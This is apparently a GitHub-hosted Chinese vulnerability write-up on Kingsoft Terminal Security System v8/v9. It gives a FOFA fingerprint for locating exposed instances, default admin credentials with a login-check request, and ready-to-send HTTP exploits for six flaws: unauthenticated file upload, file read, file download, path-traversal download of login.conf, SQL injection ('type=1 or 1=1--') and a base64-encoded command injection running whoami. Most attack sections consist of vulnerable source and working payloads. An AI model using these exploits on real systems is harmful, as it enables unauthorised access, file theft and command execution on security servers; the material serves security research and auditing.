Skip to content

Latest commit

 

History

History
455 lines (356 loc) · 16.9 KB

金山终端安全系统.md

File metadata and controls

455 lines (356 loc) · 16.9 KB

金山终端安全系统

环境配置

fofa指纹

app="猎鹰安全-金山终端安全系统"

下载安装

v8版本:https://duba-011.duba.net/netversion/Package/KAVNETV8Plus.iso

v9版本:https://duba-011.duba.net/netversion/Package/SecManage.iso

上述iso下载后直接解压,得到相应的文件夹,找到其中的exe文件。v8版本中KANUSSetup.exe是升级服务器安装包,KANSCSetup.exe是安全系统中心安装包,安装完毕后你会发现也一同安装了金山毒霸杀毒软件,v9情况类似。

环境安装为一体安装包,直接双击点exe,设定完安装目录安装即可自动安装。源码在Console目录下的web根目录。代码没有进行加密,直接拷贝审计即可。授权到期后不影响程序访问和正常测试使用。

账户密码

默认登陆密码admin/admin,登陆后强制修改(admin/admin123@),默认开启验证码。但v8+版本以下该机制不存在,且部分版本即使强制要求修改了密码,也可用旧密码登陆系统,因此存在【wooyun-2015-099884-金山 V8 终端安全系统默认弱口令漏洞】。

POST /inter/ajax.php?cmd=
get_user_login_cm{"get_user_login_cmd":{"name":"admin","password":"21232f297a57a5a743894a0e4a801fc3"}} HTTP/1.1

post一段json格式的代码到特定的路径,若返回包状态码为200并且有关键字段userSession即表示存在弱口令。在index.php页面中引入的inter/common/isFirst.php页面isFirst方法验证:

//index.php
if ($_SESSION["userName"]=="admin" and $mysqlStat == 1) {
        //$isFirst = isFirst(); # true:admin没改过密码 flase:admin改过密码
        if ($isFirst) {
            $firstate="0";
        } else {
            $firstate="1";
        }
    }
//inter/common/isFirst.php::isFirst()
function isFirst(){
    $data = array(
        "match_pass" => array("pass" => "2d8cc94a8c8b5ca7400969c5b2e572c1", "name" => "admin")
    );
    $post = json_encode($data,JSON_UNESCAPED_UNICODE);
    $re = curl_post_http("http://127.0.0.1:6869/route2lua", "match_pass=$post");
    $re = json_decode($re, true);
    if (intval($re["nResult"]) == 0) {
        return true;
    }
    return false;
}

批量脚本测试可参考:https://mp.weixin.qq.com/s/XuJ-U2CHvpAwDB31vDAmKA

Cookie

v8版本登录校验phpsessid,但是v9版本则是SKYLARa0aede9e785feabae789c6e03d字段。

配置文件

  • v9版本

    • 【nginx】nginx/conf/nginx_6868.conflinux_nginx_6868
    location ~ (error|phpinfo|test)\.php$ {
               return 404;
           }

    要求如果路由解析文件名有出现error|phpinfo|test,访问会返回404。因此上传不能含有这些文件。

    • 【php】php/php.ini

​ php默认版本为5.6.32,默认没有设置disable_functionsdisable_classes

​ 加密方式默认用了ioncube_loader_win_5.6.dll版本,但安装完毕启动发现该配置不存在。

​ 默认没有开启magic_quotes_gpc,不会过滤单引号;初始化未设定open_basedir

​ 远程文件处理:allow_url_fopen = Onallow_url_include = Off,因此部分php伪协议不能操作。

  • v8版本

    • 【Apache】\Security Manager\SystemCenter\Apache\conf
    <FilesMatch "^\.ht">
        Order allow,deny
        Deny from all
    </FilesMatch>

    限制不能上传.htaccess

    • 【php】`php/php.ini

​ 默认版本为5.4.43,其余配置同v9

历史漏洞

漏洞名称 漏洞URI 影响版本
/tool/manage/upload.php 未授权文件上传 /tool/manage/upload.php v8、v9
/receive_file/get_file_content.php 未授权文件读取 /receive_file/get_file_content.php?filepath=xxx v8、v9
/htmltopdf/downfile.php 未授权文件下载 /htmltopdf/downfile.php?filename=xxx v8
/kd.php 文件下载 /kd.php v8
/inter/update_software_info.php 未授权SQL注入 /inter/update_software_info.php?type=xxx v8、v9
/inter/pdf_maker.php 命令注入 /inter/pdf_maker.php v8

1. /tool/manage/upload.php 未授权文件上传

/tool/manage/upload.php页面没有进行引入鉴权文件,同时进行上传的漏洞参数就是``

$uploaddir = '..//..//UploadDir//';
if(file_exists('../../../server.conf') != false)
{
	$settings = parse_ini_file('../../../server.conf', true);
	$uploaddirex =  $settings['UploadSet']['CltUploadUrl'];
	if($uploaddirex)
	{
		$uploaddir = $uploaddirex;
	}
}else
{
	//写入配置文件
}
mkdir($uploaddir,0777, true);
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";

2. /receive_file/get_file_content.php 未授权文件读取

receive_file/get_file_content.php没有引入鉴权文件也不再鉴权路由中,未授权即可访问。该页面存在fread文件读取/下载操作,但是对..限制,同时开启open_basediropen_basedir限制的目录在../Console的web目录下,只能对web目录进行文件读取,读取位置也是从web根目录开始。filepath读取大小限制在5054字节上,因此文件大小也做了限制,但一般文件都能读取。

<?php  
  //..检测
  if(stripos($_POST['filepath'],"..") !== false) {
    echo 'no file founggd';
    exit();
  }
  ini_set("open_basedir", "../");
  $file_path = '../'.iconv("utf-8","gb2312",$_POST['filepath']);
  if(!file_exists($file_path)){
    echo 'no file founggd';
    exit();
  }  

  $fp=fopen($file_path,"r");  
  $file_size=filesize($file_path); 

  $buffer=5024;  
  $file_count=0;  

  while(!feof($fp) && $file_count<$file_size){  
    $file_con=fread($fp,$buffer);  
    $file_count+=$buffer;  
    echo $file_con;  
  }  
  fclose($fp);  
?>

读取Web根目录的index.php文件进行尝试:

POST /receive_file/get_file_content.php HTTP/1.1
Host: x.x.x.x
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7p
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SCNum=1; GUID=BB419A33-46DA-E7F9-EC4C-28A84310E5EE; SCIP=192.168.65.132; topSC=0; kidtype=1; hid=B29D21EF; sn=105000-011000-000000-000000; SKYLARa0aede9e785feabae789c6e03d=nq482l70id4vuiou5ojfpo1654
Connection: close

filepath=index.php

成功回显文件内容,失败回显‘no file founggd’或404或空页面(也有可能是文件为空)。

3. /htmltopdf/downfile.php 未授权文件下载

该页面中未检查filename和cookie鉴权直接就进行下载文件:

<?php	
			$filename= $_GET["filename"];
            
			$filename=iconv("UTF-8","GBK//IGNORE", $filename);

   			header("Cache-Control: public"); 
			header("Content-Description: File Transfer"); 
			header('Content-disposition: attachment; filename='.$filename); //文件名   
			header("Content-Type: application/zip"); //zip格式的   
			header("Content-Transfer-Encoding: binary"); //告诉浏览器,这是二进制文件    
			header('Content-Length: '. filesize($filename)); //告诉浏览器,文件大小   
			@readfile($filename);
			?>

filename传入需要下载的文件,成功回显文件内容:

http://xxx.xxx.xxx.xxx/htmltopdf/downfile.php?filename=index.php

4. /kd.php 文件下载

开头引入kli.php,该文件是登陆类,用于登陆检查,为了调用line 10的checkLogin判断是否登录。

<?php

   include 'kli.php';

   header("Content-type:text/html;charset=utf-8");
   // if($_POST["ak"] !== 'ks')
   // {
   //   exit();
   // }
   if($login->checkLogin($_COOKIE['kusession'])=='0')
 	{
     echo 'Please login first.';
 		exit();
 	}

判断kli.php的checkLogin传入$_COOKIE['kusession'](可控)是否return 0,跟进入该方法:

function checkLogin($session){
      session_start();
      return $_SESSION[$session] ? '1' : '0';//判断是否存在对应的$_SESSION[key],不存在return 0 
    }

可以看出这里要求必须登录才能让session_start获取得到服务器回传的Cookie。

再回到kd.php,文件名没有修改直接拼接的是fn参数,文件路径是从根目录开始$file_sub_path=$_SERVER['DOCUMENT_ROOT']; ,文件存在的话即可下载文件。这里没有限制目录穿越,因此可以通过../读取其他目录的任意文件。

	$file_name=$_POST['fn'];
   //echo $file_name;
   $file_name=iconv("utf-8","gb2312",$file_name);
   $file_sub_path=$_SERVER['DOCUMENT_ROOT']; 
   $file_path=$file_sub_path.'/'.$file_name;
   //echo $file_path;
   if(!file_exists($file_path)){
     //echo 'no file found';
     exit();
   }

   $fp=fopen($file_path,"r");
   $file_size=filesize($file_path);
   //$fn = preg_replace("([a-z|A-Z|0-9]{1-30}\.[a-z|A-Z|0-9]{1-10})","\\1",$file_name);
   $fn = basename($file_path);
   Header("Content-type: application/octet-stream");
   Header("Accept-Ranges: bytes");
   Header("Accept-Length:".$file_size);
   Header("Content-Disposition: attachment; filename=".$fn);
   $buffer=5024;
   $file_count=0;

   while(!feof($fp) && $file_count<$file_size){
     $file_con=fread($fp,$buffer);
     $file_count+=$buffer;
     echo $file_con;
   }
   fclose($fp);
?>

这里读取web根目录下login.conf文件试,成功的话会回显文件内容。

POST /kd.php HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SKYLARa0aede9e785feabae789c6e03d=kl3kvpfr63vuc9a32c0ib8gpq5;kusession=time
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaDoXxAt1M40lPRKt
Content-Length: 146

------WebKitFormBoundaryaDoXxAt1M40lPRKt
Content-Disposition: form-data; name="fn"

../login.conf
------WebKitFormBoundaryaDoXxAt1M40lPRKt--

5. /inter/update_software_info.php 未授权SQL注入

inter/update_software_info.php中where条件语句的type参数如果检测到传参不为空,直接拼接到where条件语句中,然后顺势最终拼接到$sql语句中并执行。

<?php
//客户端显示数据
require_once "./use_db.php";
require_once "./common/functions.php";

$return=array();
$return["nResult"] =0;

$where='where 1=1';

if (!is_null($_POST['type']) and $_POST['type'] !="") {
    $id=$_POST['type'];
    $where .=" and type=$id ";
}

if (!is_null($_POST['key'])) {
    $keyname=$_POST['key'];
    $where .=" and keyname like '%".$keyname."%' ";
}

$sql="select sc_software_items.id ,version,packagesize,keyname,packagename,photoname,descri,type,param ,ty.type_name as type_name from sc_software_items left join  type_software ty on ty.type_id = sc_software_items.type  {$where} group by id";
$type='select * from  type_software';

该漏洞疑似为https://www.cnvd.org.cn/flaw/show/CNVD-2021-01882,同样是未授权且v9版本可用。

带入执行后会对sql语句获取的数据若不为空,会回显到页面上,因此错误不显示数据,sql语句正确闭合则会显示数据,可以使用union select方式进行注入:

       $return["software_list"][] = array(
            'version'=>$version,   //版本
            'packagesize'=>$value['packagesize']==''?'':$value['packagesize'],//大小
            'productname'=>$productname,   //软件名称
            'packagename'=>$packagename ,   //文件名称
            'photo'=>'../softmanagement/download/'.($value['photoname']==''?'default.png':$value['photoname']),  //图片路径
            'descri'=>$value['descri']==''?'':$value['descri'], //文件描述
            'auth'=>$value['auth']==''?'0':$value['auth'],   //软件id
            'param'=>$value['param']==''?'':$value['param'],   //软件id
            'type_name'=>$value['type_name'],
            'md5' => substr($packagename,0,32),
            'id' => hashs(substr($packagename,0,32).$productname.$version),
            'updatetime'=>$n_val['update_time']==''?'':$n_val['update_time'],   //更新时间
            'soft_id'=>$n_val['soft_id']==''?'':$n_val['soft_id'],   //软件id
        );
    }

}catch(Exception $e){
    $return["err"]=$e->getMessage();
    $return["nResult"] = 6;
}   
echo json_encode($return);

复现显示如果成功的话software_list字段回显数据,失败该字段为空:

POST /inter/update_software_info.php HTTP/1.1
Host: x.x.x.x
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SCNum=1; GUID=BB419A33-46DA-E7F9-EC4C-28A84310E5EE; SCIP=192.168.65.132; topSC=0; kidtype=1; hid=B29D21EF; sn=105000-011000-000000-000000; SKYLARa0aede9e785feabae789c6e03d=nq482l70id4vuiou5ojfpo1654
Connection: close

type=1+or+1=1--+

6. /inter/pdf_maker.php 命令注入

inter/pdf_maker.php 页面urlfilename参数需要base64编码后传入,传入后未进行完整的命令注入过滤。默认情况下进入if第一分支,原因见官方注释apache 2.4 php 7 版本只能bat中运行,但默认运行版本为php 5.4.43.

<?php
require_once (dirname(__FILE__)."\\common\\HTTPrequest_SCpost.php");
......
	$url = $_POST["url"];
	$fileName =  $_POST["fileName"];
	$batName=$fileName;
	if ($url == null || $fileName == null)
	{
......
	}
	
	$url = base64_decode($url);
	$nameStr = base64_decode($fileName).date("Y-m-d").".pdf";
	$fileName="..\\htmltopdf\\".$nameStr;

	system('mkdir ..\\htmltopdf');

	
	$cmd = '..\\..\\wkhtmltopdf.exe "'.$url.'" '.$fileName;
	if (getApacheVersion()>=24) { //apache 2.4 php 7 版本 只能在  bat中运行
		$cmd =" del ".$fileName;

		exec($cmd);
		$url_= str_replace('%','%%', $url);
		$cmd = '..\\..\\wkhtmltopdf.exe "'.$url_.'" '.$fileName;
		$batName ="exec_wkhtmltopdf.bat";
		$myfile = fopen($batName , "w");
		//$cmd =iconv("UTF-8", "gbk", $cmd );
		fwrite($myfile, $cmd);
		fclose($myfile);
		$cmd =$batName ;
		exec($cmd);
		$cmd =" del ".$batName;
		exec($cmd);
    }else
    {
		system($cmd);
    }

该分支下会$url参数和$filename参数拼接到cmd中然后写入exec_wkhtmltopdf.bat文件,最后执行该文件。但是由于拼接命令的原因,这里构造payload需要用到管道符。($filename也可以用于命令执行,因为也是拼接命令,所以要完成前一条命令的格式。)

if的第二分支没有任何过滤,危害更大,可以执行任意命令。(如果当php版本大于5的时候,默认进入该分支)。

执行whoami试试,cmd命令拼接完毕后是这样的:..\\..\\wkhtmltopdf.exe"" || whoami || xxxx,对拼接进入的url参数命令base64编码即IiB8fCB3aG9hbWkgfHw=

POST /inter/pdf_maker.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 45
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=noei1ghcv9rqgp58jf79991n04

url=IiB8fCB3aG9hbWkgfHw%3D&fileName=xxx